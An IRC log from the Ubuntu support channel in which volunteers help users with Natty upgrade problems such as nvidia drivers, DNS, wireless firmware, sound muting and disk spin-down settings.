[20:02] <GuyCanada> is there any reason that nvidia would see an attached monitor but system>monitors would not? im trying to hit function-F8 to display my screen on a tv. i dont want to set up miltiple monitors through nvidia i just want to be able to HDMI out when watching tv through my computer can anyone helo?
[20:02] <GuyCanada> help?*
[20:02] <rgr> so you installed it via aptitude or apt or synaptic or what?
[20:02] <Froq> rgr: I have been playing around with learning C++ and making in grounds into it, and figured I would love to look @ the structure of teh linux C kernel
[20:02] <rgr> What source is it you are extracting?
[20:02] <saege> is there a way to install gnome3 without breaking unity?
[20:02] <tmaster> rach0: Do I have to do anything special during installation to not install them?
[20:02] <ohsix> osse: no banshee will get installed as it's a recommend from ubuntu-desktop; but you can remove it, or use rhythmbox, it's really no actual distinction, just that it's a recommended package now
[20:02] <Glowball> ohsix: Well, I never tested it myself on my own hardware, but I read people getting as much as 30% less battery life
[20:02] <Froq> rgr: I went to the ubuntu repos via web browswer
[20:02] <eigba> arkanabar, I just use the mouse software that always came with ubuntu/gnome its still there and works
[20:03] <rgr> Froq: there are some nice tools on the web to help you navigate the source code online.
[20:03] <osse> Froq, extracted it'll be over 400 MB I think. Text files are usually very compressable. Also, that it's a bunch of small files instead of a few larger ones contributes.
[20:03] <carandraug> cntrational, pastebin the contents of /var/log/Xorg.0.log
[20:03] <rgr> lol..
[20:03] <ohsix> Glowball: i'd take that with a grain of salt, but i've also seen people reporting 2 separate issues, one of which is their processor being in turbo mode when it shouldn't be; that will account for a lot, since theres no turbo on my cpu it accounts for no additional use here
[20:03] <rach0> tmaster, no just don't get them after installation unless you really need them (and i don't suspect you will)
[20:03] <arkanabar> eigba, ty, but I'm not running gnome.  I'm running lxde.  what is gnome's mouse config applet?  I'm willing to give it a try, if it's still included in natty....
[20:03] <Froq> rgr: so what tools are you making mention of?  I am very interested
[20:03] <darkham> hi, in 10.10 i find temp youtube files in chromium in /tmp dir
[20:03] <osse> jrib, ohsix: thanks.
[20:03] <ohsix> Froq: he asked how to get the source code, not how to browse it
[20:04] <darkham> now in /home/.cache/chromium/default
[20:04] <ohsix> Froq: theres the upstream kernels git browser and launchpads bzr browser for it's local kernel branches
[20:04] <darkham> i dont't find anything
[20:04] <tmaster> rach0: Ok.. So I dont need them for games I hope
[20:04] <Froq> ohsix: o man, you are so smart, talking over my head! :)
[20:04] <BlouBlou> darkham: that may be because they updated config
[20:04] <cntrational> carandraug: http://pastebin.com/YbK35Uy1
[20:04] <darkham> where i can find the video temp file, if you can help me
[20:04] <rgr> Froq: lxr for a start. but there are many. http://www.google.de/search?q=browse+linux+source+code+online
[20:04] <ohsix> Froq: first message was meant for rgr
[20:04] <tkngch> \quit
[20:05] <rgr> but note that the linux kernel is C and in no way prepares you for complex C++
[20:05] <ohsix> rgr: you're getting on peoples last nerve with giving people google links
[20:05] <ohsix> !google | rgr
[20:05] <ubottu> rgr: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[20:05] <rgr> sigh
[20:05] <ohsix> rgr: if you have a link in those google results that you intend to give to a person, give them the link
[20:05] <avinash> Hey guys , i can see my wireless is connected .. get 'connected' message .. but can't browse any sites .. gets stuck in resolving proxy .. how to change proxy .. any help pls
[20:05] <rgr> but lxr is nice for a start. Also a editor which can use etags is good
[20:05] <ohsix> rgr: if you have a link in those google results that you intend to give to a person, give them the link
[20:05] <Froq> rgr: Good to know, I just wanted to look @ some large scale stuff, and I didn't realize teh number of files associated with a kernel! WOW
[20:06] <rgr> the linux kernel makefile  includes a tags target
[20:06] <saju_m> i trying to install cinelerra, but getting error, http://dpaste.com/537555/
[20:06] <BlouBlou> darkham: if you want to download a video, try with firefox, 'video downloadhelper'
[20:06] <ohsix> Froq: if that's all you wanted, you might be interested in http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=tree
[20:07] <rgr> Froq: well, enjoy it ;) Also note that the C in the kernel is about the best you will find. very "clean".
[20:07] <Froq> ohsix: yeah!  that is what i wnated! could have had it 30 minutes ago if I could just better articulate my desires, huh?  thanks
[20:07] <ohsix> Froq: that's linus' kernel tree; and doesn't include ubuntu patches (they're in their own tree) but if you're not interested in building it or anything, it should suffice
[20:07] <carandraug> cntrational, well, I can't find any error there
[20:07] <schnuffle> saju_m: sure the package is called cinelerra, search for it
[20:07] <ohsix> rgr: #ubuntu-offtopic
[20:07] <darkham> BlouBlou, yes but i'm curious to know where it's downloaded a temp file
[20:07] <carandraug> cntrational, what resolution should it be?
[20:07] <ohsix> Froq: well it's a very general question, i assumed it was ubuntu related and you wanted to rebuild it or something :] no harm no foul
[20:08] <BlouBlou> darkham: usually is or in .chronium/cache or something like that, or in /tmp
[20:08] <Froq> ohsix: right on!
[20:08] <cntrational> carandraug: 1368x768, a 16:9 resolution
[20:08] <darkham> BlouBlou, i'm asking, because i look in both, and nothing
[20:09] <ohsix> lame, the firefox 4 update page no longer has a link to the bugs fixed in that release
[20:09] <BlouBlou> darkham: Then I have no idea, most probably they changed temporal folder
[20:10] <asdf_msc> stereocaulon_, did you mean you had problems with just upgrading to 11.04 or with WoW?
[20:10] <darkham> BlouBlou, thanx the same
[20:10] <BlouBlou> np
[20:10] <Stereocaulon_> asdf_msc, I meant just upgrading to 11.04
[20:10] <stravant> ohsix: Last time I had these sort of problems just uninstalling pulseaudio from the system entirely fixed them. Now that won't work anymore, is there anything special I would have to do to make it work?
[20:10] <Stereocaulon_> asdf_msc, I don't play WoW
[20:10] <_ListerWork> hi, how does one get to change display output to use hdmi cable
[20:10] <_ListerWork> ?
[20:10] <carandraug> cntrational, I have to go now. But take a look at this, it might be of help https://wiki.ubuntu.com/X/Config/Resolution#Adding%20undetected%20resolutions
[20:11] <ohsix> stravant: it didn't "fix" them, it sidestepped the real problem
[20:11] <Bobguts> Hello
[20:11] <carandraug> cntrational, and good luck fixing it
[20:11] <stravant> ohsix: I know, but by fixed I mean that it let me hear sound
[20:11] <Sledge> stil can't figure out how to add stuff
[20:11] <ohsix> stravant: theres nothing special you should have to do; you have software running that is muting things, if its g-v-c and it's doing it without you clicking on mute, find out what it's fighting with
[20:11] <stravant> ohsix: Since there doesn't seem to _be_ any solution
[20:11] <beta____> A question: does anyone know how to install emerald in 11.04...
[20:11] <beta____> ?
[20:12] <beta____> Tried the emeraldfix.txt, but it keeps given me errors..
[20:12] <destin> why can i not drag my windows form the top bar?
[20:12] <ohsix> stravant: i gave you what i thought was all the information that was needed to troubleshoot the problem
[20:12] <rooly> does anyone know where the patch for the rlt8192se that keeps it from making the system lock up is?
[20:12] <schnuffle> beta____:  check http://www.webupd8.org/2009/03/ubuntu-install-themes-emerald-compiz.html
[20:12] <rooly> because there's been a regression since 10.10
[20:12] <ohsix> beta____: why do you need emerald? support for transparent themes has been promoted to the other window decorators and you don't need to theme it separately now
[20:13] <darkham> how can i search all unconditioned video files in natty?
[20:13] <ohsix> rooly: do you know for a fact that such a patch exists?
[20:13] <beta____> @schnuffle: that's not the problem.. know how to install...
[20:13] <ohsix> rooly: you should try the module backports and see if it still freezes, but if it doesn't, still file a bug
[20:13] <beta____> but the decoration just doesnt show
[20:13] <rooly> ohsix, yes, i used it for 4 months prior to 10.10 (which brought it in to the kernel)
[20:14] <ohsix> rooly: how come you didn't lobby to get it included?
[20:14] <stravant> ohsix: I did look into it more. It is indeed not gnome volume control, playing sound from _any_ program causes the sound to become muted until I unmute it in gnome volume control. The it doesn't actually instantly mute if there isn't any program playing sound, it only goes to being muted one a program tries to play sound. I would suspect it's some ugly internal thing?
[20:14] <ohsix> rooly: if it was known it should have been included
[20:14] <beta____> @ohsix; yes, but there are still a lot of nice themes that are build on emerald..
[20:14] <beta____> rather than on gtk
[20:14] <rooly> ohsix, because i didn't realize that 11.04 would regress on the rtl8192se wireless driver
[20:14] <ohsix> stravant: ah, it is an sblive isn't it
[20:14] <teja2011> hello..all i am using 11.04...but i was having a problem in new look of ubuntu i tried to enable desktop cube in compiz den something gone wrong dats it i can see any panels and shortcuts...help me
[20:15] <ohsix> rooly: it's not a regression if you needed a patch before ... it's just the same thing?
[20:15] <rooly> ohsix, 10.10 fixed the problem
[20:15] <ezro> hey
[20:15] <rooly> the problem was documented in 10.04 and patched for 10.10
[20:15] <ezro> Im just wondering for linux
[20:15] <ezro> I just installed linux
[20:15] <ohsix> rooly: ok if it's broke again in 11.04, then the same patch probably won't work anyways; you should try the backports to see if it's fixed already, and file a bug
[20:15] <stirfoo> any emacs user find C-M-a (left Alt not right) will not produce an event, even when using describe-key?
[20:15] <asdf_msc> anyone else get fatal exception errors on opening WoW after upgrading to 11.04?
[20:16] <rooly> ohsix, backparts are installed
[20:16] <ezro> what should I do next?
[20:16] <rooly> *backports
[20:16] <DSASD> hi
[20:16] <stravant> ohsix: What? I don't have any sound card, it's the the integrated sound on the motherboard.
[20:16] <ohsix> stravant: so some cards treat 0 on the volume as mute, instead of having a separate switch
[20:16] <ohsix> stravant: better post the output to aplay -L and pacmd ls again to a pastebin then
[20:16] <beta____> uhmm... so no solution yet?
[20:17] <LinuxHack3r> Just installed 11.04 64bit, fresh, and first boot I tried to install the nvidia drivers from the nvidia site. Now I am stuck without X, and cannot seemingly generate a correct xorg.conf (I believe due to the fact I had to start using a vga monitor with a DVI adapter. I started having issues in 10.10 with this monitor, and no issues in 10.10 with a DVI monitor.) I've tried nvidia-xorgconf, still "no screens found". I need to generate
[20:17] <ic4l> helloo guys... i want to ask wich application is the best for IRC ??
[20:17] <ikonia> ic4l: that's personal choice, what's the best dinner to eat ? get it ?
[20:17] <ohsix> beta____: no solution to install emerald, perhaps you should state why you wish to do that, as emeralds functionality has been in the other window decorators for a long time
[20:17] <ezro> :)
[20:17] <gmachine_24> ic4I: is that a joke
[20:17] <ezro> anybody here korea?
[20:18] <gmachine_24> n
[20:18] <ezro> llllllllllll
[20:18] <theclaw> after upgrading to ubuntu 11.04, the gtk+-themes I set in appearance settings don't work anymore. everythings in the default theme
[20:18] <quellhorst> When trying to make vm i see: "warning: kvm is not available. this may mean the kvm package is not installed, or the kvm kernel modules are not loaded. your virtual machines may perform poorly."
[20:18] <theclaw> any idea?
[20:18] <MadRobot> Hi all
[20:18] <asdf_msc> ic4l, i googled the same thing earlier and most seem to just use xchat
[20:18] <IdleOne> !korea | ezro
[20:18] <ubottu> ezro: 도움이 필요하시면 다음 채널에 조인하십시오. /join #ubuntu-ko
[20:18] <quellhorst> i have the kvm kernel module loaded.
[20:18] <LinuxHack3r> could anyone assist me in generating an xorg.conf with my nvidia?
[20:18] <ohsix> LinuxHack3r: what version of the driver did you try to install? there was an xserver abi change and i don't know if any of the nvidia drivers made it
[20:18] <ic4l> just tell me... what is ur test.... i want to try some irc depend on ur experience
[20:18] <LinuxHack3r> ohsix: the latest 270*.*.*
[20:18] <gmachine_24> I use xchat or chatzilla
[20:18] <ezro> I have some problem
[20:18] <ohsix> LinuxHack3r: generating an xorg.conf isn't going to help if this is your situation
[20:18] <beta____> @ohsix: yeah, I know there are a lot that are better, but they just don't look that nice..
[20:19] <rooly> hmm
[20:19] <LinuxHack3r> ohsix: So can I remove the nvidia driver and try something else in gui?
[20:19] <rooly> i see a spot to test it
[20:19] <rooly> i might hop offline for a moment
[20:19] <MadRobot> The new Natty interface seems pretty cool! I wonder if there are any tutorials for how I can find my way through it more easily..?
[20:19] <beta____> would it be an good choise to be back on ubuntu 10.10? Or some other distro based on ubuntu?
[20:19] <ohsix> LinuxHack3r: yes, or use nouveau if you can, it should suffice for the desktop shinyness
[20:19] <ic4l> gmachine_24 : i use xchat but didn't satisfy my....
[20:19] <arkanabar> what gtk apps for adjusting mouse acceleration are available for 11.04?  lxinput stopped working after upgrade to natty
[20:19] <cntrational> so
[20:19] <LinuxHack3r> ohsix: Until nvidia drivers are updated?
[20:19] <gmachine_24> yeah I'm not a big xchat fan
[20:20] <ohsix> arkanabar: what's l_x_input?
[20:20] <tensorpudding> MadRobot: http://www.omgubuntu.co.uk/natty/what
[20:20] <ohsix> arkanabar: xinput can still set input device properties
[20:20] <ic4l> so which one u prefer to use?? gmachine_24
[20:20] <MadRobot> beta____, I can understand why you might wanna do that. :\
[20:20] <gmachine_24> ic4l: I go for the easy . . . chatzilla
[20:20] <arkanabar> ohsix, lxinput is lxde native app for setting mouse accel & keyboard repeat.
[20:20] <LinuxHack3r> ohsix: what via apt-get for the nouveau
[20:21] <ohsix> LinuxHack3r: i think 270 is already ready for the new abi; can you post the contents of /var/log/Xorg.0.log and log.old, and Xorg.1.log?
[20:21] <beta____> Because I like gnome2, emerald and custimize a lot with ubuntu... '(
[20:21] <ohsix> arkanabar: oh, you'll have to figure out why it broke with them then, as far as i know nothing important changed with the proper way to set these things
[20:21] <gmachine_24> I only try xchat when it's a default install . . . and then I'm reminded why I don't like it
[20:21] <LinuxHack3r> ohsix: just uninstalled it. If I can get back in a gui I'll be more able to do things..
[20:21] <tensorpudding> MadRobot: http://omgubuntu.co.uk/natty/ rather
[20:21] <stravant> ohsix: http://pastebin.com/mRdwEj8K , http://pastebin.com/mRdwEj8K
[20:22] <ohsix> LinuxHack3r: the log will only be useful from the broken runs of xorg
[20:22] <LinuxHack3r> ohsix: well how can I do this via cli?
[20:22] <MadRobot> tensorpudding, how do I add more workspaces?
[20:22] <avinash> Hey friends, i have ubuntu 10.10 .. the wireless is connected   , but no internet .. any help pls ..
[20:22] <ohsix> LinuxHack3r: copy them somewhere they wont be overwritten
[20:23] <phibxr> Has anyone been able to change the mouse pointer in the Appearance-pane? No matter what I select, it stays as the default pointer.
[20:23] <tensorpudding> MadRobot: you need to configure compiz
[20:23] <LinuxHack3r> ohsix: Oh duh:( So....which files exactly?
[20:23] <beta____> @avinash, do you have a cable next to you?
[20:23] <celso> hi
[20:23] <MrMist1> I'm desperate.. Need to sort out how to set a "spin down" parameter with hdparm.. I can't do it in Natty..
[20:23] <avinash> beta____, yes .. i have and i tried plugging in .. it also connects but no internet .. ( ip comes , but can't browse any sites )
[20:23] <Froq> so i downloaded a stupid dock program to make my ubuntu look "nifty" but now I want to scratch it, however, I don't know the name of it. What can I do?
[20:24] <beta____> hmm.. do you have dual boot? (Windows - Ubuntu)
[20:24] <gmachine_24> Froq: right click on the 'stupid dock program' and it should say
[20:24] <stravant> ohsix: Another little point which may be useful. If I play a youtube vid for example, if I pause it, and then try to unmute using gvc, I have to click about 30 times before it will finally stay unmuted, as though there's some buffer it's going through and it takes 30 clicks to get through it.
[20:24] <tensorpudding> MadRobot: install the Compiz Config Settings Manager, and check out the General Options -> Desktop Size
[20:24] <MrMist1> Froq: ps -ef | grep py ?
[20:24] <Kevin147> Since the 11.04 upgrade, my desktop lags on minecraft. Why is it doing this?
[20:24] <avinash> beta____, yes .. no its only ubuntu 10.10
[20:24] <ohsix> stravant: theres an existing bug regarding some auto mute & independent output thing that sound chip does
[20:24] <LinuxHack3r> ohsix: Just copied /var/log/*, will that cover everything?
[20:24] <avinash> beta____, no issue in hardware coz the same lappy works fine in office .. have problem in home only
[20:25] <gmachine_24> but if it's not stupid, I make no promises
[20:25] <ohsix> LinuxHack3r: and lots more, eugh
[20:25] <beta____> hmm... no other device connected to the router?
[20:25] <ohsix> MrMist1: it's still done with /etc/hdparm.conf
[20:25] <Froq> MrMist1: what does that ouput tell me?
[20:25] <avinash> i have one more laptop to same router ..
[20:25] <stravant> ohsix: Could you point me to where the bug is listed?
[20:25] <avinash> which i am using for typing here
[20:25] <beta____> and that works?
[20:25] <beta____> oooh oke :P
[20:25] <avinash> yes this works ..
[20:25] <Froq> MrMist1: none of those are the name.
[20:25] <ohsix> stravant: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/609173 don't try the deb though, and there are probably other bugs
[20:25] <ubottu> Ubuntu bug 609173 in alsa-driver (Ubuntu) "[VIA controller auto-mute] Headphone output does not work on ASUS P81IJ" [Undecided,Triaged]
[20:25] <MrMist1> ohsix: It doesn't seem to be read during boot.. My hd doesn't spin down
[20:25] <gmachine_24> Froq: your cock program should also be listed under "accessories"
[20:26] <viper474> How do I identify with services so I can change channel?
[20:26] <darkham> how can i search all the files of the same type?
[20:26] <nuke_> holo
[20:26] <beta____> hmm.. tried ifconfig to see you ip settings?
[20:26] <gmachine_24> sorry, dock
[20:26] <bastidrazor> !register | viper474
[20:26] <ubottu> viper474: Information about registering your nickname: https://help.ubuntu.com/community/InternetRelayChat/Registration - Type « /nick <nickname> » to select your nickname. Registration help available by typing /join #freenode
[20:26] <gmachine_24> wow. bad typo.
[20:26] <ohsix> MrMist1: oh it's definitely read, every time there is a power event; your settings probably don't allow the drive to spin down
[20:26] <MrMist1> Froq: How about just searching through the processes using "ps -ef | less" ?
[20:26] <Froq> gmachine_24: I was curious to what you were making mention of cock for.  THANKS
[20:26] <schnuffle> darkham: mlocate can do it
[20:26] <ohsix> MrMist1: post the output of sudo hdparm -I /dev/sda to a pastebin
[20:26] <gmachine_24> haha yeah
[20:26] <avinash> yes .. gives eth1 (192.168.2.7) , lo (127.0.0.1)
[20:26] <nuke_> yeah!!
[20:26] <MrMist1> ohsix: Sure does... If I use hdparm -S 4, it spins down in 20 seconds time
[20:26] <mongy> what does [sdb] Mode Sense: 03 00 00 00 mean.  Its my usb stick, when I plug it in, dmesg returns that.
[20:27] <gmachine_24> Froq: seriously, look under accessories. it should be there.
[20:27] <ohsix> MrMist1: there are two other power settings that keep the drive awake, setting the sleep time isn't always going to do it by itself
[20:27] <avinash> beta____, so it gets the ip after connecting to wireless.
[20:27] <beta____> hm.. maybe dns not working, tried to access the router from your (not working) ubuntu box?
[20:27] <Froq> gmachine_24: it is...
[20:27] <avinash> beta____, yeah .. ping 192.168.2.1 works .. thats my router ..
[20:27] <gmachine_24> Froq: :)
[20:27] <Froq> gmachine_24: avant window manager
[20:28] <ohsix> stravant: you should probably try contacting diwic, or at least commenting on that bug
[20:28] <MrMist1> ohsix: So hdparm -S 5 isn't the same as spindown_time = 5?
[20:28] <gmachine_24> Froq: can you just remove it now from the command line or via synaptic?
[20:28] <argon> i got compiz lag on ubuntu 11.04 (nvidia) can someone help me?
[20:28] <MrMist1> ohsix: I thought they were supposed to be equivalent
[20:28] <stravant> ohsix: Thanks for the help, maybe that'll get me somewhere
[20:28] <Froq> gmachine_24: I just performed "apt-get remove avant-window-nagivator
[20:28] <Visitor-integer> problem with webpage: cannot display webpage with css @ 127.0.0.1 ... my friend helped me "chmod" it before, but he is unavailable. can someone please help?
[20:28] <gmachine_24> Froq: of course you have to kill it first
[20:28] <Froq> will that remove all teh dependences too?
[20:29] <schnuffle> avinash: so your dns isn't set correctly, you can open /etc/resolv.conf and add: nameserver <ip of your router>
[20:29] <ohsix> stravant: pulse is just following what the driver is doing, you could probably get an audience with the interested parties (including diwic and themuso) in #pulseaudio, be sure to reference the bug so you don't have to explain it again
[20:29] <LjL> Froq: no. use "sudo apt-get autoremove" to remove unneeded dependencies
[20:29] <rgr> Froq: depends if they are used elsewhere
[20:29] <j0nr> hello, I have just upgraded to natty. I have no wireless. Is this the best place to ask for help?
[20:29] <avinash> schnuffle, i ll try this right away
[20:29] <beta____> @avinash try to search for an ip of google, anyone knows it?..
[20:29] <arrrghhh> hey all, i have an ubuntu server and an ubuntu client communicating over NFS.  I noticed REALLY slow transfer speeds, like 500k/s.  That's KB not kb... When connected via gigabit, I get 20MB/s (again, not mbps).  Is that expected over wifi?  I don't remember it being this slow.
[20:29] <ohsix> j0nr: atheros broadcom or intel?
[20:29] <rooly> well that was odd...
[20:29] <rooly> totally wasn't the bug i was looking for
[20:29] <j0nr> ohsix: broadcom
[20:29] <rgr> arrrghhh: what did you change?
[20:30]  * rooly isn't sure how to prove its the wifi driver
[20:30] <mikebot> Has there been problems with left-clicking in 11.04? (I'm having this problem)
[20:30] <ohsix> j0nr: a bcm43xx device? you probably need firmware installed
[20:30] <j0nr> ohsix: oh hang on: 02:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8192E Wireless LAN Controller (rev 01)
[20:30] <logi01> hi can some help me. I just installed natty and everything went fine. But when i use the new kernel (2.6.38) my system freeze short after login. I have to use the old kernel (2.6.35) to use my system?
[20:30] <rgr> mikebot: yes. Multiple reports of mice being broken.
[20:30] <arrrghhh> rgr, nothing to my knowledge.  i mean there's been some updates, but nothing earth shattering.  client is on 11.04 and server is 10.04
[20:30] <j0nr> ohsix: is that broadcom?
[20:30] <ohsix> rgr: if people are asking they generally don't know what they've changed, or they would have undone it then redone it to confirm their suspicions
[20:30] <ohsix> j0nr: ah nope, realtek
[20:30] <rgr> no its realtek
[20:30] <vantage> Hi all, I've got a couple daru2 laptops from system76 and since 11.04, whenever the laptop tries to start the screen saver the brightness bounces down and up and the machine locks up.  Any idea what might be causing this?
[20:31] <j0nr> ah (my other laptop is broadcom)
[20:31] <jahrends> Hello
[20:31] <ohsix> j0nr: lots of people have been having problems with those, all i can suggest is trying the module backports and filing a bug
[20:31] <mikebot> rgr: Is there some place I can go to find updates about it?
[20:31] <avinash> beta____, i think i know this .. 209.85.229.99  .. ping this works ..
[20:31] <jahrends> Does anyone here have experience with running an ircd?
[20:31] <j0nr> ohsix: how do i 'try the module backports'?
[20:31] <rgr> vantage: yes. your video is hosed. try resetting back to vesa only driver.
[20:31] <beta____> hm.. so this works?
[20:31] <arrrghhh> rgr, i guess that changed, the client used to be 10.10, now it's 11.04.  i've noticed slow xfer speeds in Windows as well, but that's over a different protocol (samba)
[20:32] <avinash> beta____, yeah getting response
[20:32] <ohsix> mikebot: where are you having problems clicking? nobody but me has reported a problem like that with regard to input, and that was with touchpads, and i got it fixed ;]
[20:32] <vantage> rgr: permanently?  Temporarily? Or is it a driver or kernel issue?
[20:32] <beta____> than I think dns problem. No response when pinging google.com?
[20:32] <rgr> nfs can be a real dog if reverse dns isnt configrued properly. I dont have the details at hand. I just recall having similar issues.
[20:32] <ohsix> j0nr: install linux-backports-modules-net-<version>-generic, reboot
[20:32] <rgr> arrrghhh: 11
[20:32] <rgr> ^^ rather
[20:32] <mikebot> ohsix: Everything; in Mines (game), options on Transmission, closing tabs in Chrome... It's not with a mouse, it's with my touchpad.
[20:32] <arrrghhh> rgr, i'm mounting via IP.  what does DNS have to do with it.
[20:33] <avinash> beta____, yeah pinging google.com isn't working ...
[20:33] <Saamm> can someone confirm this --> all ratings in software center over 100 are displayed as zero. Check out chromium, firefox and gimp
[20:33] <luisgmarine> lg158997
[20:33] <avinash> also http://209.85.229.99/ in browser doesn't work ..
[20:33] <ohsix> mikebot: ok, the way sensitivity was measured changed a bit upstream
[20:33] <rgr> then its probably not. I didnt know that. But then it mioght. The whole thing is hairy. Just mentioed it to give you some more to go on.
[20:33] <mikebot> ohsix: How did you fix yours? (Also, do you have a lenovo?)
[20:33] <freeburn> i upgraded to natty today...
[20:33] <arrrghhh> rgr, ok thx...
[20:34] <ohsix> mikebot: unfortunately the only way i know to set the sensitivity again is with xinput set-prop, because there is no ui for the changed settings
[20:34] <freeburn> but unity is behaving badly
[20:34] <ohsix> rgr: then practically speaking you have said nothing
[20:34] <freeburn> very unstable
[20:34] <ohsix> rgr: this is a help channel
[20:34] <illmortal> uhm...
[20:34] <rgr> yes, it does.
[20:34] <illmortal> what exactly is up with 11.04?
[20:34] <luisgmarine> Hello guys.  I have a macbook pro 5,3 that I'm trying to install 11.04 on.  I've read the guide but my system hangs when I select to "Check CD for defects" or install.  I've checked the md5sums of the downloaded .iso file and everything matches ..
[20:34] <ohsix> illmortal: if you have a question or problem, be specific
[20:34] <MrMist1> ohsix: http://paste.ubuntu.com/601444/
[20:34] <rgr> lol. The new definition of optimism!
[20:35] <argon> hello,draging windows in ubuntu  11.04 is very laggy. I'm using the nvidia drivers.. is this an knowen problem?
[20:35] <illmortal> just updated.. I can't even get Ubuntu to boot up unless I use, "previous" which.. still uses 11.04 <_< lol
[20:35] <ohsix> mikebot: mine needed a patch to back out changes, it was doing 2 finger heuristic detection and sending spurious right clicks
[20:35] <Josesordo> hello all
[20:35] <freeburn> my unity crashes every now and then
[20:35] <yfk> where is there a chromium-browser-l10n package?
[20:35] <freeburn> gnome works ok
[20:35] <icqn> luisgmarine, burn the cd again
[20:35] <bp0> argon, there is definitely a performance problem with nvidia drivers in 11.04
[20:35] <ActionParsnip> argon: if you disable compiz and use metacity, is it nicer?
[20:35] <Josesordo> I installed the new 11.04, and I need to install a ".run" file and I cant run it ... some help?
[20:35] <mikebot> ohsix: Uhhh...haha OK, I'm not following I guess; seems like there is no easy solution for me then
[20:35] <IdleOne> yfk: sudo apt-get install chromium-browser-l10n
[20:35] <gmachine_24> yfk: you want to install chromium?
[20:35] <ActionParsnip> !info chromium-browser-l10n
[20:35] <ubottu> chromium-browser-l10n (source: chromium-browser): chromium-browser language packages. In component universe, is optional. Version 10.0.648.205~r81283-0ubuntu1 (natty), package size 1663 kB, installed size 14104 kB
[20:35] <trijntje> How can I assign a mouse key to switch to another workspace?
[20:36] <luisgmarine> icqn: I have already 5 times.  First time was a the fastest speed, and went all the way down to the slowest speed my computer allows me and same thing ...
[20:36] <ohsix> MrMist1: the apm settings can affect how a drive chooses to spin down, the hdparm manual (man hdparm in a terminal) explains in what way
[20:36] <j0nr> ohsix: ok, giving it a go, thanks
[20:36] <yfk> IdleOne, gmachine_24, no. just wondering why the package exists...
[20:36] <ActionParsnip> yfk: make sure you have universe repo enabled
[20:36] <illmortal> also.. I can't right click my panel to remove it... 11.04 for some reason put an additional upper panel on my right screen.. and also put the app panel on the right screen and I can't move it.
[20:36] <beta____> Sorry, need to go...
[20:36] <gmachine_24> yfk: why it exists where
[20:36] <argon> actionParsnip : I'm not shure how to do this
[20:36] <Antilect> I love overclocking :D
[20:36] <Antilect> Addictive!
[20:36] <Antilect> Thrill sports xD
[20:36] <lapion> just upgraded to natty, made me Seasick.
[20:36] <logi01> Is there any way how to figure out why the new kernel freeze my system after login?
[20:36] <yfk> crap. wanted to ask why it exists. not where... sorry
[20:36] <ohsix> luisgmarine: you should probably report a bug about that
[20:36] <ActionParsnip> yfk: you can also add the chromium daily ppa and get the daily build
[20:36] <IdleOne> yfk: language support for chromium
[20:36] <beta____> try to search on Google, how to fix dns problem.. must be some forum/faq for that :)
[20:36] <illmortal> mine does the same logi.. i have to use previous installation
[20:36] <lapion> switched back to regular gnome
[20:36] <illmortal> then it loads up <_<;
[20:36] <ActionParsnip> argon: press aLT+F2 and run:  metacity --replace
[20:37] <rgr> chromium is highly recommended.
[20:37] <yfk> IdleOne, thanks. all the rest, sorry for the incoherence
[20:37] <ohsix> illmortal: the top bar in unity isn't a panel, it just looks like it
[20:37] <gmachine_24> yfk: you are asking my it is on your computer?
[20:37] <ActionParsnip> argon: instead of asking, you could have researched instead
[20:37] <Antilect> I just clocked a dead 1.66GHz to 3.0GHz and it's stable :D
[20:37] <illmortal> ick...
[20:37] <avinash> beta____, sure thanks for the help buddy
[20:37] <arkanabar> what gtk apps for adjusting mouse acceleration are available for 11.04?  lxinput stopped working after upgrade to natty
[20:37] <Antilect> Like a warmachine on caffeine.
[20:37] <luisgmarine> ohsix: :\  you think getting the LTS version might fix it/break it?
[20:37] <gmachine_24> I meant why
[20:37] <ohsix> rgr: recommended by who? recommended packages are installed by default
[20:37] <beta____> no
[20:37] <beta____> np
[20:37] <beta____> bye
[20:37] <lapion> logi01, check if your sound card works correctly by playing some music in single user mode
[20:37] <rgr> ActionParsnip: be careful. The anti google brethren are here in num,bers - even when you provide the actual searhc string which shows how to get the information.
[20:37] <ohsix> luisgmarine: i can't speak to that, but it should be reported :] then it can be fixed, you're more than welcome to try other spins of the cd to see if it's broken
[20:37] <gmachine_24> Antilect: how do you overclock
[20:37] <lapion> or maintenance mode
[20:38] <ActionParsnip> rgr: yeah its a big annoyance :(
[20:38] <ohsix> rgr: if you need to provide someone with a specific page in a google result, provide the page; even if it is the top or only result for you, it will not be for other people
[20:38] <Antilect> gmachine_24 good sense, a lot of nice fans, and solid knowledge gathered from other peoples trial and horrors :D
[20:38] <deutscher> la bussola d'oro
[20:38] <LjL> ActionParsnip: why shouldn't they have asked?
[20:38] <Josesordo> how to open a ".run" file in Ubuntu 11.04? .. please..help
[20:38] <Antilect> (and I'm not talking about fan fans, but fans)
[20:38] <luisgmarine> yeah that's what I'm thinking.  I'm going to go give the LTS a try and see what the deal is, then I'll go and report a bug.  I just want to make sure it's not something hardware related.
[20:38] <ActionParsnip> ohsix: why is firefox recommended over chromium, or for that fact any other browser?
[20:38] <rgr> really is. I gave the search string to and the link to a really good ssh tutorial and got threatened with banning.
[20:38] <icqn> luisgmarine, ok, then it does not seem to be fine, was it the same cd all the time? well try to create a bootable usb, if your system supports that?
[20:38] <ikonia> Josesordo: same as every other distro, it's just an executable, run it
[20:38] <gmachine_24> Antilect: not fan fan fans?
[20:39] <rgr> Its not. Chromium is very very good on Linux systems.
[20:39] <LjL> !ot
[20:39] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[20:39] <gmachine_24> Chromium rocks
[20:39] <luisgmarine> icqn: I don't have a USB stick available ... but let me see if I can find one
[20:39] <ActionParsnip> LjL: if someone gives direction then users can use that to aid research rather than _immediately_ asking for additional information
[20:39] <rgr> ohsix is also the man who claimed that xorg.conf is obsolete.
[20:39]  * arkanabar likes chromium pretty well
[20:39] <argon> actionparsnip: better performance with metacity, bu no effects and the Unity bar is gone
[20:39] <MrMist1> ohsix: Any idea? I seriously don't think this is the drive, since the -S parameter works fine..
[20:39] <ikonia> rgr: enough now - please stop it
[20:39] <ohsix> ActionParsnip: because one is supported, it's not an opinion; what rgr stated was an opinion held possibly only by himself and he should say as much
[20:39] <rgr> chromium is fast ans good keyboard UI.
[20:39] <LjL> ActionParsnip: or they can ask a quick question that has a very quick answer.
